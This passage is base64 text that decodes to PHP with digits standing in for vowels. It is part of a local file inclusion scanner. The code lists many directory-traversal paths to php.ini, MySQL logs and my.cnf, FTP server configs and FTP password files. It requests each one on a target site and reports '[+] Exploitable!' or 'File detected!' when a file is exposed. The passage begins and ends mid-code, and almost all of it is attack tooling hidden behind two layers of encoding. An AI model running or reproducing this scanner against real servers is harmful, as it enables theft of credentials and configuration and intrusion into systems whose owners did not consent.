Li8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcGhwL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHB1L2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZjRteXNxbCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtYjRuLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQ1cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL215c3FsL215c3FsLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtc2wydy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2w0Yi9teXNxbC9teS5jbmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvbXlzcWwvbXkuY25mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9teS5jbmYiLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmNGZ0cCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2wyZ3MvcHIyZnRwZC5zeXN0NW0ubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMmZ0cC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdmhjc2EvcHIyZnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcHIyZnRwZC9tMmQzbDVzLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3ZzZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdnNmdHBkLmNocjIydF9sNHN0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC92c2Z0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy92c2Z0cGQvdnNmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ZzZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9jaHIyMnRVczVycyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3hmNXJsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyLzFkbS9sMmcveGY1cmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdzMtZnRwZC9mdHAxY2M1c3MiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwaDJzdHMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwM3M1cnMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjUtZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjUtZnRwZC9wM3I1LWZ0cGQucGRiIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjVmdHBkLnAxc3N3ZCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjVmdHBkLnBkYiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvZnRwL3AzcjUtZnRwZC8iLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3AycnRzL241dC9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb3UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9wa2dzcmMvbjV0L3AzcjVmdHBkLyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9pID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvYzJudHI0Yi9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNS1mdHBkL3AzcjUtZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy9wM3I1LWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvZnRwLXByMnh5L2Z0cC1wcjJ4eS5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHAtcHIyeHkiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHBsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2wyZ3IydDF0NS5kL2Z0cCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHVvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvZnRwY2hyMjJ0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdXUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9mdHBoMnN0cyIuJGJ5dDU2LiIiKTsgDQogICAgICAgICANCiAgDQogICAgICAgICAkeCA9IDY7IA0KICAgICAgICAgNGYgKCAkdHlwNSA9PSA2ICkgeyANCiAgICAgICAgICAgICRyNXM2ID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdCk7IA0KICAgICAgICAgICAgJHI1c2EgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0YSk7IA0KICAgICAgICAgICAgJHJoMXNoNiA9IG1kaSgkcjVzNik7IA0KICAgICAgICAgICAgJHJoMXNoYSA9IG1kaSgkcjVzYSk7IA0KICAgICAgICAgICAgNGYgKCRyaDFzaDYgIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRXhwbDI0dDFibDUhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjR0NXN0LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aDRsNSgkbGY0MWNjNXNzWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcjVzbyA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNDFjYzVzc1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDFjYzVzc1skeF0uIlwiPiIuJHQxcmc1dC4iIi4kbGY0MWNjNXNzWyR4XS4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDVsczUgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J3I1ZCc+WyFdIEYxNGw1ZCE8L2YybnQ+Ii4kdDFyZzV0LiIiLiRsZjQxY2M1c3NbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gYSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGMybmY0Z1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRjMm5mNGdbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRjMm5mNGdbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGMybmY0Z1skeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0YzJuZjRnWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IG8gKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjQ1cnIyclskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjQ1cnIyclskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDVycjJyWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjQ1cnIyclskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0NXJyMnJbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gdSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNHBocDRuNFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwaHA0bjRbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwaHA0bjRbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNHBocDRuNFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cGhwNG40WyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IGkgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjRteXNxbFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRteXNxbFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNG15c3FsWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjRteXNxbFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0bXlzcWxbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gZSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGZ0cFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRmdHBbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRmdHBbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGZ0cFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0ZnRwWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQo0ZiAoICR0eXA1ID09IDcgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iO3sgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZ